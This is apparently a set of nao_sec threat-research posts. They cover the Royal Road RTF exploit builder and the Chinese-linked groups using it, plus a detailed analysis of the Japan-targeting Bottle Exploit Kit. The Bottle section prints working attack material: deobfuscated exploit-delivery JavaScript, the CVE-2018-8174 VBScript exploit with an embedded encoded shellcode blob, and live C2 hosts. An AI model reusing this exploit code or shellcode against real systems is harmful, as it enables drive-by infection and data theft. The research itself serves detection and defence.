And Royal Road is shared among various attack groups believed to belong to China. Specifically, it is believed to be used by the following attack groups. The attack group alias is written for reference. Strictly speaking, these can be different. For example, TA428 and Pirate Panda are not exactly equivalent.

1. Temp.Tick (BRONZE BUTLER, RedBaldKnight)
2. Temp.Conimes (Goblin Panda, Cycldek)
3. Temp.Periscope (Leviathan, APT40)
4. Temp.Trident (Dagger Panda, IceFog)
5. Tonto (Karma Panda, CactusPete, LoneRanger)
6. TA428 (Pirate Panda)
7. Rancor

Also, we categorized the various characteristics of the RTF files used by these groups and showed what they have in common.

Updates

It’s been a year since we introduced Royal Road. In the meantime, the RTF file, believed to have been generated by Royal Road, has been used many times in targeted attacks, and several updates have been observed. First of all, we will introduce the updates.

The RTF file generated by Royal Road contains encoded malware. It is decoded by Shellcode after exploit. In our previous blog, we introduced the following 5 encodings.

1. 4D 5A 90 00 (not encoded)
2. F2 A3 20 72
3. B2 A6 6D FF
4. B0 74 77 46
5. B2 5A 6F 00

Many of the RTF files we observed in 2020 used the 3rd and 4th encodings. However, a few samples used the new encodings. The following 2 encodings.

1. A9 A4 6E FE

This encoding can be decoded with code like the following:

dec_data = []

for i in range(len(enc_data)):
    dec_data.append(((int.from_bytes(enc_data[i],  "little") ^ 0x7b) + 0x7b) % 256)

1. 94 5F DA D8

This encoding can be decoded with code like the following:

dec_data = []
xor_key = 1387678300

for i in range(len(enc_data)):
    for _ in range(7):
        x0 = (xor_key & 0x20000000) == 0x20000000
        x1 = (xor_key & 8) == 8
        x2 = xor_key & 1
        x3 = 1 + (x0 ^ x1 ^ x2)
        xor_key = (xor_key + xor_key) + x3
    dec_data.append(int.from_bytes(enc_data[i], "little") ^ (xor_key % 256))

Our tool for decrypting Royal Road encoded object is already available on GitHub. It also supports the above new encodings.

https://github.com/nao-sec/rr_decoder

New Attack Groups

As we mentioned earlier, several attack groups use Royal Road. The following eight attack groups have been observed to use Royal Road (including both Royal Road Samples and Related Samples) during 2020.

1. Temp.Conimes
2. Tonto
3. TA428
4. Naikon
5. Higaisa
6. Vicious Panda
7. FunnyDream
8. TA410

Of these, we have already reported on 1-3 attack groups in our previous blog. Temp.Conimes used NewCore RAT to attack Vietnamese organizations. Tonto used Bisonal to attack organizations in East Asia such as Russia.

And the TA428 was also particularly active, using PoisonIvy, Cotx RAT, Tmanger, and nccTrojan to attack East Asian organizations such as Mongolia. We will not cover these individual cases here, but if you are interested, see the IOC chapter. For TA428, the paper [2] and blogs [3][4][5] are available from NSJ (NTT Security Japan). Please refer to that.

For Naikon, CheckPoint Research reported [6], but unfortunately, we could not observe this. Therefore, in the following, we will introduce attack cases related to Royal Road for four groups (5-8).

Higaisa

Higaisa is an attack group that seems to have been active since at least around 2016. It is primarily targeted at North Korean-related organizations and is believed to be aimed at stealing information using AttackBot, PIZ Stealer, and Gh0st RAT.

The blogs have been written by Tencent and Positive Technologies so far [7][8][9], and are attributed to (South) Korea. However, NSJ’s paper [10] showed a connection with Ghost Dragon [11] and PKPLUG [12], and it was reported that it might belong to China.

We observed an attack by Higaisa on Royal Road in March 2020.

The malware executed by the Royal Road RTF was AttackBot. AttackBot is a downloader that has been used by Higaisa since at least April 2018.

Vicious Panda

Vicious Panda is an attack group reported by CheckPoint Research in March 2020 [13]. It is said to belong to China and targets East Asia such as Russia, Mongolia, and Ukraine.

We observed an attack on the Royal Road by Vicious Panda in March 2020.

It has been reported to execute malware similar to Enfal and BYEBY.

FunnyDream

FunnyDream is an attack group that is said to have been active since around 2018. It is said to belong to China and targets Southeast Asia such as Vietnam and Malaysia. FunnyDream uses Chinoxy and FunnyDream Backdoor. BitDefender has published a detailed report [14] on FunnyDream.

We observed an attack by FunnyDream from March to May 2020.

Chinoxy is a RAT that has been used by FunnyDream since around 2018. It decoded the config using two numeric data and communicates with the C&C server using its original protocol using Blowfish.

TA410

TA410 is an attack group that is said to have been active since around 2016. It is said to belong to China and is suspected to be related to APT10. The report has been published by Proofpoint [15][16][17] and is mainly targeted at public sector in the US. It uses malware called LockBack and FlowCloud.

We observed an attack by TA410 in October 2020.

FlowCloud is a RAT reported by Proofpoint in June 2020. FlowCloud has been reported to be v4 and v5, but the FlowCloud we observed at this time was similar to v4.

Attack case against Japan

In addition to the four attack groups shown so far (Higaisa, Vicious Panda, FunnyDream, TA410), attacks that appear to be related to Royal Road have been observed. Among them, we will introduce an example of attacks on Japan. We are not able to identify which attack group made this attack. If you have any knowledge about it, please share it with us…

The attack on Japan took place in November 2020. The attack began with 2 RTF files attached to the email.

These RTF files did not contain an 8.t object, however did contain an associated object. This is the malware encoded by the 4th (B0 74 77 46) encoding shown above.

The overall picture of the attack is as follows.

The malware executed was an unknown RAT. We call this XLBug RAT because of the characteristics left in this RAT. The RAT held information such as C&C server encoded by Base64 and XOR.

The following commands are implemented in XLBug RAT.

• Get directory information
• Get file information
• Get computer information
• Execute file
• Upload file
• Download file
• Rename file
• Delete file
• Delete itself

The naming convention and encoding of the encoded object contained in the RTF are similar to those of the TA428. However, we could not say that this was a TA428 attack.

Relationship

In the previous blog, we summarized the characteristics of attack groups that use Royal Road. We used it to divide the attack groups into two groups. However, by 2020, those characteristics are almost meaningless. It has been standardized or deleted. It’s not as easy to group as it used to be. In the first place, the groups sharing Royal Road should be close. We do not classify further, but if you have any comments please let us know.

Yara Rule

The GitHub repository we shared in the previous blog is still being updated.

https://github.com/nao-sec/yara_rules

IOC

The IOC sheet shared in the previous blog is still being updated.

https://nao-sec.org/jsac2020_ioc.html

Tool

The tool used by Royal Road to decrypt encoded object is still being updated.

https://github.com/nao-sec/rr_decoder

Wrap-Up

The attacks using Royal Road have decreased compared to 2019, but are still ongoing. There are many cases of attacks by TA428 and Tonto, but other attacks by different attack groups (Higaisa, Vicious Panda, FunnyDream, TA410) have also been observed.

The attacks on Japan have also been observed and we were unable to identify this with a known attack group. The use of Royal Road by these unknown attack groups is expected to continue.

In addition to Royal Road, there are other cases, such as the Tmanger family, that appear to share tools among multiple targeted attack groups. We should continue to pay close attention to these tool sharing cases.

Acknowledgments

“nao_sec” is an independent research team that does not belong to any company. Individuals belong to each company and engage in research, but the activities of nao_sec still maintain their independence from each company. We are grateful to all of you who cooperated with our research activities every day.

References

[1] nao_sec, “An Overhead View of the Royal Road”, https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html
[2] NTT Security Japan, “Operation LagTime IT: colourful Panda footprint”, https://vblocalhost.com/uploads/VB2020-Ozawa-etal.pdf
[3] NTT Security Japan, “Panda’s New Arsenal: Part 1 Tmanger”, https://insight-jp.nttsecurity.com/post/102gi9b/pandas-new-arsenal-part-1-tmanger
[4] NTT Security Japan, “Panda’s New Arsenal: Part 2 Albaniiutas”, https://insight-jp.nttsecurity.com/post/102gkfp/pandas-new-arsenal-part-2-albaniiutas
[5] NTT Security Japan, “Panda’s New Arsenal: Part 3 Smanager”, https://insight-jp.nttsecurity.com/post/102glv5/pandas-new-arsenal-part-3-smanager
[6] CheckPoint Research, “Naikon APT: Cyber Espionage Reloaded”, https://research.checkpoint.com/2020/naikon-apt-cyber-espionage-reloaded/
[7] Tencent, “APT攻击组织”黑格莎（Higaisa）”攻击活动披露”, https://s.tencent.com/research/report/836.html
[8] Tencent, ““Higaisa（黑格莎）”组织近期攻击活动报告”, https://s.tencent.com/research/report/895.html
[9] Positive Technologies, “COVID-19 и новогодние поздравления: исследуем инструменты группировки Higaisa”, https://www.ptsecurity.com/ru-ru/research/pt-esc-threat-intelligence/covid-19-i-novogodnie-pozdravleniya-issleduem-instrumenty-gruppirovki-higaisa/
[10] NTT Security Japan, “Crafty Panda 標的型攻撃解析レポート”, https://www.nttsecurity.com/docs/librariesprovider3/default-document-library/craftypanda-analysis-report
[11] Cylance (BlackBerry), “The Ghost Dragon”, https://blogs.blackberry.com/en/2016/04/the-ghost-dragon
[12] Palo Alto Networks, “PKPLUG: Chinese Cyber Espionage Group Attacking Southeast Asia”, https://unit42.paloaltonetworks.com/pkplug_chinese_cyber_espionage_group_attacking_asia/
[13] CheckPoint Research, “Vicious Panda: The COVID Campaign”, https://research.checkpoint.com/2020/vicious-panda-the-covid-campaign/
[14] BitDefender, “A Detailed Timeline of a Chinese APT Espionage Attack Targeting South Eastern Asian Government Institutions”, https://labs.bitdefender.com/2020/11/a-detailed-timeline-of-a-chinese-apt-espionage-attack-targeting-south-eastern-asian-government-institutions/
[15] Proofpoint, “LookBack Malware Targets the United States Utilities Sector with Phishing Attacks Impersonating Engineering Licensing Boards”, https://www.proofpoint.com/us/threat-insight/post/lookback-malware-targets-united-states-utilities-sector-phishing-attacks
[16] Proofpoint, “LookBack Forges Ahead: Continued Targeting of the United States’ Utilities Sector Reveals Additional Adversary TTPs”, https://www.proofpoint.com/us/threat-insight/post/lookback-forges-ahead-continued-targeting-united-states-utilities-sector-reveals
[17] Proofpoint, “TA410: The Group Behind LookBack Attacks Against U.S. Utilities Sector Returns with New Malware”, https://www.proofpoint.com/us/blog/threat-insight/ta410-group-behind-lookback-attacks-against-us-utilities-sector-returns-new

Several targeted attack groups share the tools used in the attack and are reported to be doing similar attacks. Attack tools are also shared in attacks targeting Japanese organizations, for example, Tick. Tick may use a tool called Royal Road RTF Weaponizer. And Royal Road is used by targeted attack groups such as Goblin Panda and Temp.Trident that is suspected of being involved in China.

In this blog, we will focus on the Royal Road, and introduce the features of the tool, such as the outline of the tool, its behavior, and the exploited vulnerability. Next, the targeted attack groups that use the Royal Road are listed, and each attack case is shown in detail. We have collected over 100 malicious documents from 2018 and investigated malware that is deployed and downloaded from there. Even in groups using the same Royal Road, we attributed them based on the target country/organization, the technique used for the attack, the malware executed, etc.

There are a wide variety of countries/organizations targeted for attack, mainly in Asia. Such information has been published by researchers all over the world, but it’s not widely known that Royal Road is used in Tick attacks targeting Japanese organizations. Attacks using Royal Road are still active in 2019. Share analysis results of malicious documents and malware based on the cases we observed. Other targeted attack groups may be related to Royal Road. We introduce the attack cases of these attack groups and show their relevance.

Finally, we show the hunting technique using the characteristics of RTF files using Royal Road and the techniques that are preferred by targeted attack groups that use them. This blog will help researchers who are researching and analyzing targeted attacks and CSIRT/SOC members to understand the attacks and take countermeasures.

Summary

Royal Road

Royal Road is RTF weaponizer that named by Anomali. Sometimes called “8.t RTF exploit builder”. This tool is not OSS, However it’s shared between multiple actors.

We define the RTFs generated by RoyalRoad is supposed to satisfy the following two conditions:

1. Exploit the vulnerability in the Equation Editor
2. Have an object named 8.t in the RTF

Royal Road behaves as follows.

1. RTF create a file (8.t) using ActiveX Control “Package” when opening a document

2. All Vulnerabilities used by exploit coed are based on Equation Editor.
   • CVE-2017-11882
   • CVE-2018-0798
   • CVE-2018-0802
3. It decode 8.t, execute malware, dll-sideloading, etc

Classification v1-v5 defined by Proofpoint and Anomali published at VB2019. We are doing more research about RTF Object. RTF analysis showed that there was a special byte sequence immediately before the shellcode. We called that an object pattern. 8.t encoding is not distinguished by version. It’s considered an actor distinction rather than a tool distinction.

About v3, RTF including 8.t could not be found in our survey, so we define this as RoyalRoad-related, not RoyalRoad.

New version definitions for v6 and later. The object string has changed a little since v5, but it is basically the same. v7 has a very different object string. v7 object pattern is same as v4-v6, but part ofobject data exists randomly.

For attribution

• Time
  • submission to public service
  • RTF creation
• Target country
  • decoy file language
• RTF characteristics
  • Object strings
  • Object patterns
  • Package patterns
  • Object name, Path
• Payload encoding patterns
• Dropped file name
• Malware execution techniques
  • T1137 (Office Application Startup)
  • T1073 (DLL Side-Loading)
• Final payload (malware family)

Actors

Here are the actors that have been confirmed to use RoyalRoad. It is considered that China’s involvement is suspected.

These are tables summarizing each actor’s characteristics. We categorize these actors into three groups.

Group

• Group-A is Conimes, Periscope and Rancor.
• Group-B is Trident, Tick, TA428 and Tonto.
• Group-C is something else we don’t know.

Group-A is targeting Southeast Asia. Periscope and Conimes ware active at the same time and share the same techniques. Conimes and Rancor ware also active at the same time and share some techniques. We believe these groups are close and may share tools and insights.

Group-B is including Trident, Tick, TA428 and Tonto. These are actors targeting East Asia, especially Russia, Korea and Japan. Tick, TA428 and Tonto may use the same technique. Especially Tick and Tonto are very similar. We believe that Group-B actors are very close and share techniques and insights.

Wrap-up

The RTF file created using the Royal Road exploits a vulnerability in the equation editor. The RTF file has a various of characteristics that help with attribution. There are many actors who use Royal Road. We can divide them into three groups and suppose connections between actors.

Appendix

Appendix-1: IOC

• https://nao-sec.org/jsac2020_ioc.html

Appendix-2: Tool

• rr_decoder
• Yara Rules

Full report is here: [PDF (EN)]

On December 11, 2019, we were strolling through ad-networks. As before, we observed RIG, Fallout and Underminer Exploit Kit, but observed other interesting Drive-by Download attack. We call it “Bottle Exploit Kit”. BottleEK targets only Japanese users. According to our research, BottleEK has been active at least in September 2019. This time we introduce BottleEK.

Sample traffic data is here.

Traffic

We have confirmed that we are redirected to BottleEK by malvertising. When you are redirected from ad-network to BottleEK, the landing page html is loaded first. The landing page loads two JavaScipt files.

<!doctype html>
<html lang="ja">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta http-equiv="x-ua-compatible" content="IE=10">
<meta http-equiv="Expires" content="0">
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Cache-control" content="no-cache">
<meta http-equiv="Cache" content="no-cache">
<link href="file/style.css" rel="stylesheet" type="text/css"/>
</head>
<body style="background-color: #F4F4F4;font-family:MS PGothic,Arial,Hiragino Kaku Gothic ProN,Osaka,sans-serif">
<div id="main" class="main"></div>
<script type="text/javascript" src="file/ajax.min.js"></script>
<script type="text/javascript" src="file/main.js"></script>
</body>
</html>

“ajax.min.js” is a JavaScript file for communication. It is used once to get the exploit code URL. Since it’s not important, we will omit it this time. Please remember only this code.

function e() {
    var b = document.createElement("script"),
        c = (new Date).getTime() + Math.round(1e3 * Math.random()),
        d = "JSONP_" + c;
    a[d] = function (a) {
        clearTimeout(s), document.body.removeChild(b), q(a)
    }, b.src = h + (h.indexOf("?") > -1 ? "&" : "?") + "callback=" + d, b.type = "text/javascript", document.body.appendChild(b), f(d, b)
}

Next, let’s read “main.js”. This file contains obfuscation, debug detection and environment detection.　Reading everything is not easy… First, a large array is defined. This looks like a Base64 string, but base64_decode doesn’t make any meaningful data. To decrypt this, you need to read two processes.

var _0x1d5a = ['bsK+BcOlwpXCmg==', 'OsKhwoIKb8OOwrHDsMOvEcOHw4Fn', 'ZMKfw6Fqw5R0', 'T1xqw70=', ...

The first process is to swap the order of the arrays. This is code like this:

var _0x5906e4 = function (_0x35d916) {
    while (--_0x35d916) {
        _0x4480b8['push'](_0x4480b8['shift']());
    }
};

/* --- Snip --- */

var _0x29fbca = {
    'getCookie': function (_0xa8b74, _0x1731ce) {
        _0xa8b74 = _0xa8b74 || function (_0x1e7379) {
            return _0x1e7379;
        };
        var _0x36cf86 = _0xa8b74(new RegExp('(?:^|;\x20)' + _0x1731ce['replace'](/([.$?*|{}()[]\/+^])/g, '$1') + '=([^;]*)'));
        var _0x3ff1ff = function (_0xf3a699, _0x2d4894) {
            _0xf3a699(++_0x2d4894);
        };
        _0x3ff1ff(_0x5906e4, _0x3c6c93);
        return _0x36cf86 ? decodeURIComponent(_0x36cf86[0x1]) : undefined;
    }
}

_0x29fbca['getCookie'](null, 'counter');

Next, the array data with the order changed is decoded. This is the code for decryption. A combination of Base64, URL Encode and RC4.

var decode = function (enc_data, key) {
    var a = [],
        b = 0,
        c, d = '',
        e = '';

    enc_data = atob(enc_data);
    for (var i = 0, length = enc_data['length']; i < length; i++) {
        e += '%' + ('00' + enc_data['charCodeAt'](i)['toString'](16))['slice'](-2);
    }
    enc_data = decodeURIComponent(e);
    for (var i = 0; i < 256; i++) {
        a[i] = i;
    }

    /* RC4 */
    for (i = 0; i < 256; i++) {
        b = (b + a[i] + key['charCodeAt'](i % key['length'])) % 256;
        c = a[i];
        a[i] = a[b];
        a[b] = c;
    }

    i = 0;
    b = 0;
    for (var j = 0; j < enc_data['length']; j++) {
        i = (i + 1) % 256;
        b = (b + a[i]) % 256;
        c = a[i];
        a[i] = a[b];
        a[b] = c;
        d += String['fromCharCode'](enc_data['charCodeAt'](j) ^ a[(a[i] + a[b]) % 256]);
    }

    return d;
};

This decrypts the array data and executes the main process.

First, check that username is set in the cookie. If it is set, processing ends. If not, set cookie username=bingv and the attack will continue.

var user = getCookie('username');
if (user == '') {
    setCookie('username', 'bingv', 0x1);

Next, check user environment. This is one of the most characteristic codes of the Bottle Exploit Kit.

var chk = checkEnv();

checkEnv gets the browser language setting. If it is not Japanese, display a dummy html and end.

function checkEnv() {
    var _0x4db42a = (navigator['language'] || navigator['browserLanguage'])['toLowerCase']();
    if (_0x4db42a['indexOf']('ja') == -0x1) return 0x0;

document['getElementById']('main')['innerHTML'] = "<h1>Customer Login</h1><form><input type='text'value='User'><input type='password'><input type='submit'value='Submit'></form>";

And, browser information is acquired by User-Agent. If it is not Internet Explorer, display a dummy html and end in the same way.

var _0x100f15 = navigator['userAgent'];
var _0xed2c96 = _0x100f15['indexOf']('compatible') > -0x1 && _0x100f15['indexOf']('MSIE') > -0x1;
var _0x4d34a9 = _0x100f15['indexOf']('Trident') > -0x1 && _0x100f15['indexOf']('rv:11.0') > -0x1;
if (_0xed2c96) {
    if (_0x2956('0x43', '^eQ7') !== _0x2956('0x44', '4@%$')) {
        var _0x41dde8 = new RegExp("MSIE (\d+\.\d+);");
        _0x41dde8['test'](_0x100f15);
        var _0x50d3cb = parseFloat(RegExp['$1']);
        return _0x50d3cb;
    } else {
        _0x53ccba(this, function () {
            var _0x2e6966 = new RegExp("function *\( *\)");
            var _0xdc7ac8 = new RegExp("\+\+ *(?:_0x(?:[a-f0-9]){4,6}|(?:\b|\d)[a-z0-9]{1,4}(?:\b|\d))", 'i');
            var _0x4fc827 = _0x118083('init');
            if (!_0x2e6966['test'](_0x4fc827 + 'chain') || !_0xdc7ac8['test'](_0x4fc827 + 'input')) {
                _0x4fc827('0');
            } else {
                _0x118083();
            }
        })();
    }

If these checks are passed, the image is displayed. The 1.gif used at this time is an image of the bottle. The str1 displayed below the image is Japanese.

var str1 = '読み込み中。 。 。 お待ちください    ';

/* --- Snip --- */

if (chk > 0x0) {
    var myimg = document['createElement']('img');
    myimg['setAttribute']('id', 'ldimg');
    myimg['setAttribute']('style', 'position:absolute;width:40%;left:30%;height:40%; top:20%; z-index: 10;display:inline');
    myimg['setAttribute']('src', 'file/1.gif');
    document['body']['appendChild'](myimg);
    var myp = document['createElement']('p');
    myp['setAttribute']('id', 'ldpr');
    myp['setAttribute']('style', 'font-size:30px; position:absolute; left:5%; text-align:center; height:10%; top:60%; width:90%; z-index:10;');
    document['body']['appendChild'](myp);
    for (var i = 0x0; i <= LOAD_SECOND; i++) {
        var progress = Math['round'](i * 0x64 / LOAD_SECOND);
        (function (_0x368e63) {
            setTimeout(function () {
                change_progress(_0x368e63, str1);
            }, i * 0x3e8);
        }(progress));
    }

And it gets the exploit code. Three parameters are used at that time.

1. Internet Explorer version
2. is 64bit
3. Adobe Flash Player version

var is64 = 0x0;
if (navigator['platform']['indexOf']('64') != -0x1) is64 = 0x1;
var fls = flashChecker();
ajax({
    'type': 'GET',
    'dataType': 'jsonp',
    'timeOut': 0x2710,
    'url': '/conn.php?callback=?',
    'data': {
        'data1': chk,
        'data2': is64,
        'data3': fls['v']
    },

When send this request, use the ajax.min.js you read earlier. Therefore, callback is added at the end.

function e() {
    var b = document.createElement("script"),
        c = (new Date).getTime() + Math.round(1e3 * Math.random()),
        d = "JSONP_" + c;
    a[d] = function (a) {
        clearTimeout(s), document.body.removeChild(b), q(a)
    }, b.src = h + (h.indexOf("?") > -1 ? "&" : "?") + "callback=" + d, b.type = "text/javascript", document.body.appendChild(b), f(d, b)
}

If successful, read the exploit code using the response data. When exploiting the vulnerability of Internet Explorer, read file/vbs.vbs, and when exploiting the vulnerability of Adobe Flash Player, read file/swf.swf.

'success': function (_0x2ad29a) {
    if (_0x2ad29a[0x1] != '') {
        if (_0x2956('0x69', '904!') !== _0x2956('0x6a', 'mNBB')) {
            var _0x5517a0 = document['createElement']('embed');
            _0x5517a0['src'] = _0x2ad29a[0x1];
            _0x5517a0['setAttribute']('style', 'width:1px; height:1px');
            document['body']['appendChild'](_0x5517a0);
        } else {
            var _0x33b1ee = cname + '=';
            var _0x3a1f81 = document['cookie']['split'](';');
            for (var _0x2e7aac = 0x0; _0x2e7aac < _0x3a1f81['length']; _0x2e7aac++) {
                var _0x446c09 = _0x3a1f81[_0x2e7aac];
                while (_0x446c09['charAt'](0x0) == ' ') _0x446c09 = _0x446c09['substring'](0x1);
                if (_0x446c09['indexOf'](_0x33b1ee) != -0x1) return _0x446c09['substring'](_0x33b1ee['length'], _0x446c09['length']);
            }
            return '';
        }
    } else if (_0x2ad29a[0x0] != '') {
        var _0x5a39f4 = document['createElement']('script');
        _0x5a39f4['type'] = 'text/vbscript';
        _0x5a39f4['src'] = _0x2ad29a[0x0];
        document['body']['appendChild'](_0x5a39f4);
    }
}

vbs.vbs exploits CVE-2018-8174 and swf.swf exploits CVE-2018-15982.

CVE-2018-8174

vbs.vbs is a simple string encoding. Decoding this will give you almost the same code as the PoC.

Sub StartExploit
UAF
InitObjects
vb_adrr=LeakVBAddr()
vbs_base=GetBaseByDOSmodeSearch(GetUint32(vb_adrr))
msv_base=GetBaseFromImport(vbs_base,"msvcrt.dll")
krb_base=GetBaseFromImport(msv_base,"kernelbase.dll")
ntd_base=GetBaseFromImport(msv_base,"ntdll.dll")
VirtualProtectAddr=GetProcAddr(krb_base,"VirtualProtect")
NtContinueAddr=GetProcAddr(ntd_base,"NtContinue")
SetMemValue GetShellcode()
ShellcodeAddr=GetMemValue()+8
SetMemValue WrapShellcodeWithNtContinueContext(ShellcodeAddr)
lIlll=GetMemValue()+69596
SetMemValue ExpandWithVirtualProtect(lIlll)
llIIll=GetMemValue()
ExecuteShellcode
End Sub
StartExploit

This is the shellcode that is running.

Function GetShellcode()
IIlI=Unescape("%u0000%u0000%u0000%u0000") &Unescape("%u4cbf%u73d0%udb2c%ud9c5%u2474%u5bf4%uc92b%uc3b1%u7b31%u0313%u137b%uc383%u3248%uc586%ub3ff%u1669%u129b%u1659%u5563%ud61f%u581b%u9794%ue9d7%u03ea%ued6c%u2b61%uaef9%uef65%ueece%ue36d%u2f59%ufcf2%uaf99%u42fa%uac50%uf9c5%ub9e8%u3441%u5399%u928a%u40ea%uf18e%uabfc%ub143%u91b1%uc263%u73c0%ua49c%u7ceb%u2d28%u4338%uee19%u04b5%uc8a6%ub29d%u5eaa%u48ee%ua716%u7468%ua355%u8963%uc79e%u923b%u5373%u8ee3%ue825%uef63%uae42%uec9b%u2c9b%uf16c%u7bfc%ubb1b%uf5f2%ub84e%u407a%u7b84%u3dbf%uf727%u3e7a%u132c%ubd03%uf4e5%u3d85%ufaf6%u84a1%u7100%uf9db%u8555%u4068%u4ea9%ubf2a%u5223%u1b5f%ue940%u64ac%u57cd%u1051%udcdd%u5fad%u25de%u08fd%ufc1f%u5df2%uf0d3%ua6bd%u85a8%u568f%u9ea5%u948e%u177e%u62d5%u6d0b%ucc2e%ua750%ua40d%udbed%uafc3%u23f1%u2fe4%u0ea9%u3bf4%u5177%u067d%uda7b%u7538%u1e4a%u0e97%u22a0%u1df4%u736b%uf652%u8450%uf9a3%u8bed%uc0dd%u7e05%ucce0%u860d%u32e3%u0232%ua7c3%ueacc%ubcc2%ufc37%u3c02%u0238%u3d04%uf9b0%uc72c%u1cd4%u37d0%ua2db%ud8ea%uebae%u89da%ub539%ud51e%ub3e9%ud55a%u8284%u7550%u5c69%ufc9d%u99d0%ub810%u099a%u13d4%u551e%u151c%u5d5b%u539e%u756b%u6290%u7a94%uadac%uc3e3%u2d5b%ud385%u35b3%u1b97%u49bc%u6f51%u4a3e%u1962%u3bcd%ufeda%uef25%u011c%uef4a%u75d6%ue8c8%ufce9%u8023%u0d53%u56ac%uf2a5%ua8d3%u866f%ua351%uee70%uc2bd%u1fc8%u6056%ue02a%u7659%u94e4%u765d%ub77e%ucf28%u2f6a%u2e8f%u506d%uf82f%ue918%ufacc%ud66c%u9c04%ue96e%u622a%u9fb8%ubd93%ue93b%u563f%ue848%u59bf%ud1cd%uf900%u9f58%u5ba4%ue901%u8b66%u169f%ub397%ue836%u4c68%ubcc8%ua0e3%ud249%u39b4%u2b49%u6c66%uc31e%u6e75%uec5f%u7b39%u2d8a%u0946%u5680%u54cb%u6b20%u0608%udfe3%ue269%u88cb%u9901%u8fbb%uadaf%u3f01%u5e1f%u7ab2%uec8f%uf355%ud601%u2fe0%ub634%uaa9e%u0300%u5986%ue7ea%u6545%u2bb1%u1ad0%ub714%u98e5%u5888%u0d84%u602a%ub613%u00c3%u18f5%u98db%u15e1%u528b%u12ce%u7f0e%uf857%u4eac%u5f1f%u4f3f%u7c49%ue640%u4155%u0709%ub995%u0200%u79fd%u3f2c%u86fd%u64e7%u0c16%u6160%uede9%ue470%u2d6c%u098e%ufe91%ub0e2%uaf26%u6a03%uc2b0%u67b9%u5190%u48c4%u95ee%u1838%u2fc9%uea33%ucca3%ucad3%ueb0e%ua64b%u25e4%u0d53%u5ff8%ueb23%u5f00%uff85%ucde8%uffd4%u7c17%uc865%ub8e4%u4127%u82af%u0137%u583f%u2f9b%u9eba%ucfe5%u4e3b%u7597%u3f0b%u302c%u934f%uebcd%u915b%u78f2%uf169%u8b4a%u016d%uda54%uea49%ub067%u691c%uc9b7%u8de1%uc968%u6a4b%u6bd6%u4328%u5f2b%ueb9a%ufa15%u135a%u8446%u4bf2%u3644%uf808%u2d83%ua621%u871f%u46da%u4625%u4dd5%uae62%u62cf%u23b9%u8f5f%u0d88%u0f0c%uce77%u67c1%u4614%u0844%u868d%u84e2%ud721%u3dbd%ubed4%udb2f%u6f5c%u4fcb%u6ff1%ue246%u1d65%u6c07%ub958%u1cbb%u15a4%u9006%u95f4" &lIIII(IIIII("")))
IIlI=IIlI & String((&h80000-LenB(IIlI))/2,Unescape("%u4141"))
GetShellcode=IIlI
End Function

CVE-2018-15982

swf.swf is almost the same as PoC.

package
{
   import com.adobe.tvsdk.mediacore.metadata.Metadata;
   import flash.display.Sprite;
   import flash.events.Event;
   import flash.net.LocalConnection;
   import flash.system.Capabilities;
   import flash.utils.ByteArray;
   import flash.utils.Endian;
   
   public class Main extends Sprite
   {

The executed shellcode is the same as CVE-2018-8174.

Shellcode

The shellcode downloads and executes malware just like other EKs. The malware is not encrypted.

The shellcode was encoded by Shikata Ga Nai Encoder.

The decoded shellcode is a simple code that downloads and executes a malwre. The list of APIs to use is as follows:

The API hashing algorithm is imul83hAdd.

Interestingly, the URL string of the download destination was created as a mutex.

The malware is created as svchost.exe in% temp% and then executed with the WinExe function.

Malware

The malware is probably unique. We have never seen this elsewhere. According to my friend @VK_Intel, this could be a stealer targeting Japan.

These are the characteristics of this malware.

• Check if Japanese environment using GetUserDefaultUILanguage
• Download and use unzip.exe from these websites
  • ftp://ftp.cadwork.ch/DVD_V20/cadwork.dir/COM/unzip.exe
  • ftp://freddy-ru.starlink.ru/ckJlag/antivir/SDFix/apps/unzip.exe
  • ftp://ftp.cadwork.ch/DVD_V20/cadwork.dir/COM/unzip.exe
• Download and use Tor
  • https://archive.torproject.org/tor-package-archive/torbrowser/8.0.8/tor-win32-0.3.5.8.zip
• C2
  • [POST] 5frjkvw2w3wv6dnv.onion/conn.php
  • [GET] 5frjkvw2w3wv6dnv.onion/rd.php
  • [POST] 4w6ylniamu6x7e3a.onion/connect.php
    • User-Agent is Mozilla/5.0 (Windows NT 6.1; WOW64)
• Main file location
  • %temp%
  • C:\Users\Public

Finally

Bottle Exploit Kit is an exploit kit targeting Japan. It’s not as sophisticated as the Exploit Kit, but JavaScript is elaborate. It has been observed for at least three months ago, and its activity continues today. The vulnerabilities it exploits are the same as other EKs. The same should be noted. Keep an eye on trend of it.

Many people helped with our research. Special thanks to @kafeine and @VK_Intel.

IOC

• BottleEK
  • Traffic
    • priv.inteleksys.com (139.180.136.22)
      • /
      • /file/style.css
      • /file/ajax.min.js
      • /file/main.js
      • /file/1.gif
      • /conn.php
      • /file/vbs.vbs
      • /file/swf.swf
    • sales.inteleksys.com (139.99.115.204)
  • Hash
    • main.js
      • 588bb25acf86ac18323d800372bbdc0eb89ba3ce80ed3d891a9c41b8db93df26
    • 1.gif
      • f89a8cc4dee2ac551380d0ecf5ee2d6dc2d2be20bb1929599a23edf79d8ed127
    • vbs.vbs
      • 0afe359d9659f9d43a737bf2e1fcbe4d7e216fee3085cad153a4548785bb0166
    • swf.swf
      • 340bfa57fafda31843588619cf505d08bdf41b6c3caf0df2b3b260473f3768d1
• Malware
  • Traffic
    • https://archive.torproject.org/tor-package-archive/torbrowser/8.0.8/tor-win32-0.3.5.8.zip
    • 5frjkvw2w3wv6dnv.onion
      • /conn.php
      • /rd.php
    • 4w6ylniamu6x7e3a.onion
      • /connect.php
  • Hash
    • Malware
      • 914eb64b93cbb631c710ef6cbd0f9cedf93415be421ccc6e285b288b87f3a246
      • c1b67a30119107365c4a311479794e07afb631980a649749501cb9f511fb0ab4
    • DLL
      • 7d6823211590d0c9beffb964051ff0638e3e00beae3274733a6ccdf5c41fdede
      • 6625c178cc56184a1d8f8d0cbabff3abcc90820cd158b5860b10d6196d606a82

Since July 11 2019, we have observed a new Drive-by Download attack. It is redirected from the ad-network. It does not use a conventional Exploit Kit such as RIG or Fallout, but uses its own exploit kit. We call this “Radio Exploit Kit”.

Malvertising -> Unknown EK🚀 -> #AZORult
(CC: @malware_traffic, @jeromesegura, @BleepinComputer)https://t.co/CkSfs38D8q pic.twitter.com/Uk37R7g1xh

— nao_sec (@nao_sec) 2019年7月11日

